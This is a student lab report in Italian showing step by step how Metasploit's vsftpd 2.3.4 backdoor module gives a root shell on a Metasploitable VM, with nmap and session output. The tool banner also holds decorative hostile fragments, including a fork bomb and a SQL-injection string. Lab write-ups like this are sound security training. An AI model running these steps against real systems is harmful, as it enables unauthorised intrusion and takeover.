



Esercizio Epcode

Attacchi alle reti 3

ESERCIZIO EPICODE WEEK 15 DAY 4 A CURA DI FABIO RENNA

Indice

Executive Summary.....	2
Introduzione.....	2
Obiettivo.....	3
Proof of Concept.....	3 - 8
Conclusione.....	9

Executive Summary

Nel corso dell'attività di laboratorio è stata eseguita una sessione di hacking sulla macchina **Metasploitable**, con l'obiettivo di sfruttare una vulnerabilità nota del servizio FTP **vsftpd**. Attraverso una fase di enumerazione con Nmap e l'utilizzo di **Metasploit Framework**, è stato identificato il servizio **vsftpd 2.3.4** e sfruttato tramite un modulo di exploit dedicato.

L'attacco ha portato con successo all'ottenimento di una shell remota con privilegi elevati (**root**). Come prova finale di compromissione, è stata creata la directory richiesta dalla traccia (/test_metasploit) nella root del file system, confermando il pieno controllo della macchina target.

Introduzione

L'esercizio è stato svolto in un laboratorio virtuale composto da:

- **Kali Linux** (macchina attaccante)
- **Metasploitable** (macchina target)

La macchina Metasploitable è stata configurata con indirizzo IP **192.168.1.149/24** come richiesto dalla traccia.

Lo scopo dell'attività era individuare ed eseguire lo sfruttamento di una vulnerabilità del servizio **vsftpd**, ottenendo una sessione remota sul target tramite Metasploit.

Obiettivo

L'obiettivo dell'esercizio è:

- configurare e verificare la connettività tra Kali Linux e Metasploitable
- identificare i servizi attivi sulla macchina target tramite scansione (Nmap)
- individuare il servizio FTP **vsftpd** e la relativa versione
- sfruttare la vulnerabilità di **vsftpd 2.3.4** tramite Metasploit
- ottenere una sessione di shell remota sul target
- eseguire un'azione post-exploitation richiesta dalla traccia: creare la directory /test_metasploit in /

Proof of Concept

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a4:fe:c7
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea4:fec7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3962 (3.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:105 errors:0 dropped:0 overruns:0 frame:0
          TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20625 (20.1 KB)  TX bytes:20625 (20.1 KB)

msfadmin@metasploitable:~$
```

Sulla macchina Metasploitable è stato verificato l'indirizzo IP assegnato all'interfaccia di rete tramite comando ifconfig.

Risultato:

L'IP risulta correttamente configurato come richiesto:

- 192.168.1.149/24

Questo passaggio conferma che il target è configurato correttamente per essere raggiunto dall'attaccante.

```
(kali㉿kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255  
    inet6 fe80::4e82:f78c:23cc:f3f9 prefixlen 64 scopeid 0x20<link>  
    inet6 fd17:625c:f037:2:5da3:202a:a884:f929 prefixlen 64 scopeid 0x0<global>  
    ether 08:00:27:d1:f8:5d txqueuelen 1000 (Ethernet)  
    RX packets 18860 bytes 22972522 (21.9 MiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 7309 bytes 891166 (870.2 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.50.100 netmask 255.255.255.0 broadcast 192.168.50.255  
    inet6 fe80::8f46:acd0:ab06:96c5 prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:1b:8f:44 txqueuelen 1000 (Ethernet)  
    RX packets 675 bytes 395481 (386.2 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 570 bytes 86426 (84.4 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 859 bytes 209872 (204.9 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 859 bytes 209872 (204.9 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Sulla macchina Kali Linux è stato verificato lo stato delle interfacce di rete tramite ifconfig.

Risultato:

Kali dispone di più interfacce, tra cui una rete in grado di raggiungere il target 192.168.1.149. Questo passaggio è utile per confermare la corretta configurazione del laboratorio e individuare l'interfaccia corretta da usare per eventuali sessioni e callback.

```
Session Actions Edit View Help

(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

      `:oDFo:`
      ./ymM0dayMmy/.
      ~+dHJ5aGFyZGVyIQ==+-
      `:sm@~Destroy.No.Data~s:`
      ~+h2~Maintain.No.Persistence~h+-
      `:odNo2~Above.All.Else.Do.No.Harm~Ndo:`
      ./etc/shadow.0days-Data'%200R%201=1--.No.0MN8'/.
      ~++SecKCoin++e.AMd`      `.-://///hbove.913.ElsMNh+-
      ~/.ssh/id_rsa.Des-      `htN01UserWroteMe!-
      :dopeAW.No<nano>o      :is:TЯiKc.sudo-.A:
      :we're.all.alike``      The.PFYroy.No.D7:
      :PLACEDRINKHERE!:      yxp_cmdshell.Ab0:
      :msf>exploit -j.      :Ns.B0B&ALICEes7:
      :—srwxrwx:-.      `MS146.52.No.Per:
      :<script>.Ac816/      sENbove3101.404:
      :NT_AUTHORITY.Do      `T:/shSYSTEM-.N:
      :09.14.2011.raid      /STFU|wall.No.Pr:
      :hevnsntSurb025N.      dNVRGOING2GIVUUP:
      :#OUTHOUSE- -s:      /corykennedyData:
      :$nmap -oS      SSo.6178306Ence:
      :AwsM.da:      /shMTL#beats3o.No.:
      :Ring0:      `dDestRoyREXKC3ta/M:
      :23d:      sSETEC.ASTRONOMYist:
      /-      /yo- .ence.N:(){ :|: & };;
      `:Shall.We.Play.A.Game?tron/
      ``-ooy.ifightf0r+ehUser5`
      ..th3.H1V3.U2VjRFNN.jMh+.`
      `MjM~WE.ARE.se~MMjMs
      +~KANSAS.CITY's~`
      J~HAKCERS~./.`
      .esc:wq!:`
      +++ATH`
      `

      =[ metasploit v6.4.101-dev ]
+ -- --[ 2,580 exploits - 1,319 auxiliary - 1,684 payloads ]
+ -- --[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > █
```

È stato avviato **Metasploit Framework** con il comando:

msfconsole

Metasploit viene utilizzato per effettuare enumerazione e sfruttamento di vulnerabilità note, in questo caso sul servizio FTP **vsftpd**.

```

(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-15 15:29 EST
Nmap scan report for 192.168.1.149
Host is up (0.0020s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8g)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:A4:FE:C7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.45 seconds

```

È stata eseguita una scansione dei servizi attivi sulla macchina target utilizzando Nmap con rilevamento versione:

`nmap -sV 192.168.1.149`

Risultato:

La scansione mostra numerose porte aperte, tra cui:

- **21/tcp open ftp**
- servizio identificato come **vsftpd 2.3.4**

Questo dato è fondamentale perché la versione **vsftpd 2.3.4** è associata a una backdoor nota e sfruttabile tramite Metasploit.

```

msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal   Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT           21        The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > SET RHOSTS 192.168.1.149
[-] Unknown command: SET. Did you mean set? Run the help command for more details.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149

```

All'interno di Metasploit è stato ricercato un modulo compatibile con vsftpd:

search vsftpd

Successivamente è stato selezionato il modulo:

use exploit/unix/ftp/vsftpd_234_backdoor

e configurato l'host target tramite:

set RHOSTS 192.168.1.149

Questo step permette di preparare correttamente l'exploit verso l'host bersaglio.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.200:39801 → 192.168.1.149:6200) at 2026-01-15 15:43:57 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a4:fe:c7
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea4:fec7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1707 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1601 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:124635 (121.7 KB)  TX bytes:158355 (154.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:315 errors:0 dropped:0 overruns:0 frame:0
          TX packets:315 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:113889 (111.2 KB)  TX bytes:113889 (111.2 KB)

whoami
root
```

Una volta configurato il modulo, è stato lanciato l'exploit:

exploit

Risultato:

Metasploit conferma l'apertura di una sessione di shell e l'ottenimento dell'accesso al sistema.

Eseguendo:

whoami

l'output restituisce:

root

Questo conferma che l'exploit ha permesso **Remote Command Execution con privilegi massimi**, portando al controllo completo della macchina target.

```
pwd
/  
mkdir /test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```

Dopo aver ottenuto una sessione di shell sulla macchina Metasploitable con privilegi **root**, è stata eseguita una verifica della directory corrente con:

```
pwd
```

Successivamente è stata creata la cartella richiesta dalla traccia all'interno della directory root /:

```
mkdir /test_metasploit
```

Infine è stato verificato l'effettivo successo dell'operazione elencando il contenuto della directory /:

```
ls
```

Risultato:

L'output mostra la presenza della directory **test_metasploit**, confermando che:

- la sessione ottenuta ha privilegi sufficienti (root)
- è stato possibile eseguire comandi sul file system del sistema target
- l'obiettivo finale dell'esercizio è stato raggiunto con successo

Conclusione

L'attività ha dimostrato come un servizio esposto e non aggiornato, come **vsftpd 2.3.4**, possa rappresentare un rischio critico per la sicurezza di un sistema. Attraverso l'enumerazione dei servizi e lo sfruttamento della vulnerabilità tramite Metasploit, è stato possibile ottenere l'accesso remoto alla macchina target con privilegi **root**, confermando una compromissione completa.

La creazione della directory `/test_metasploit` nella root del sistema ha fornito una prova concreta dell'avvenuto controllo del target e della possibilità di eseguire comandi e modifiche al file system. In un contesto reale, una vulnerabilità di questo tipo potrebbe consentire a un attaccante di eseguire azioni distruttive, installare backdoor persistenti e compromettere ulteriormente l'intera infrastruttura.

Venezia, 15/01/2026

Fabio Renna